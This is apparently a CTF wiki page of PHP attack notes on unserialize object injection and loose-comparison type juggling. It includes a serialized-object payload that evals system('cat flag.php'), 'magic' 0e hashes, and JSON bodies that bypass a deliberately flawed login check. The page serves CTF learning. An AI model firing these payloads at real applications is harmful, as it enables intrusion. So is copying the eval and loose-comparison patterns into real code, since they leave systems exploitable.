.php - adeptex/CTF GitHub Wiki
Unserialize
To exploit unserialization in PHP you need a source code leak to get a Class name and a public variable in that Class.
For example:
class FileClass
{
public $command = 'return file_get_contents("info.txt");';
public function __toString()
{
return eval($this->command);
}
}
If there is a serialized string that this application accepts and unserializes, it's possible to abuse the leaked Class by supplying a serialized Object that sets an arbitrary value for public $command
class variable:
O:9:"FileClass":1:{s:7:"command";s:23:"system('cat flag.php');";};
When the application calls unserialize($input);
, a new FileClass
object is created with $command
set to system('cat flag.php');
, which will be eval
'd giving RCE.
Type Juggling
Types in PHP
PHP determines operand variable types based on the context (source)
$foo = "1"; // $foo is string (ASCII 49)
$foo = $foo * 2; // $foo is now an integer (2)
$foo = $foo * 1.3; // $foo is now a float (2.6)
If a string starts with a non-digit, numeric type conversion always returns zero
intval("asdf123"); // (integer) 0
doubleval("asdf123"); // (double) 0
floatval("asdf123"); // (float) 0
If a string starts with a digit, numeric type conversion always returns the leading digits
intval("123asdf"); // (integer) 123
doubleval("123asdf"); // (double) 123
floatval("123asdf"); // (float) 123
Boolean type conversion always returns TRUE
for non-empty strings
boolval("asdf123"); // (boolean) true
boolval("123asdf"); // (boolean) true
boolval(""); // (boolean) false
PHP has a "useful feature" for providing double
values in scientific notation
PHP | Result |
---|---|
0e0 |
0 |
0000e0 |
0 |
1e0 |
1 |
1e1 |
10 |
1e2 |
100 |
2e3 |
2000 |
1e1000 |
INF |
Juggling types allows bypassing loose comparisons ==
Controlling the type of one operand in a loose comparison allows changing the type of the other operand
PHP | Result | Description |
---|---|---|
0e0 == "asdf123" |
TRUE | "asdf123" becomes (double) 0 |
0e0 == "123asdf" |
FALSE | "123asdf" becomes (double) 123 |
123 == "asdf123" |
FALSE | "asdf123" becomes (integer) 0 |
123 == "123asdf" |
TRUE | "123asdf" becomes (integer) 123 |
true == "asdf123" |
TRUE | "asdf123" becomes (boolean) true |
Useful Hashes
PHP | Result |
---|---|
md5("240610708") |
0e462097431906509019562988736854 |
md5("QNKCDZO") |
0e830400451993494058024219903391 |
sha1("aaroZmOk") |
0e66507019969427134894567494305185566735 |
sha1("aaK1STfY") |
0e76658526655756207688271159624026011393 |
Authentication Bypass Example
The following snippet gets POSTed JSON data and checks if the provided password matches the MD5 hash of $admin_password
$admin_password = "sup3rs3cur1tar";
$auth = json_decode(
file_get_contents("php://input"),
true
);
if ($auth['user'] == "admin") {
if ($auth['password'] == md5($admin_password)) {
login_ok();
} else {
die();
}
}
md5($admin_password)
becomes "565e00f2e98436437b1b3d7cc4866a14"
.
Comparing that hash with (integer) 565
or (boolean) true
will give TRUE
.
Posting the following will bypass authentication:
{"user": "admin", "password": 565}
{"user": "admin", "password": true}
On the other hand, if $admin_password
were set to admin1234
and the hash would be "c93ccd78b2076528346216b3b2f701e6"
, posting the following will bypass authentication:
{"user": "admin", "password": 0e0}
{"user": "admin", "password": true}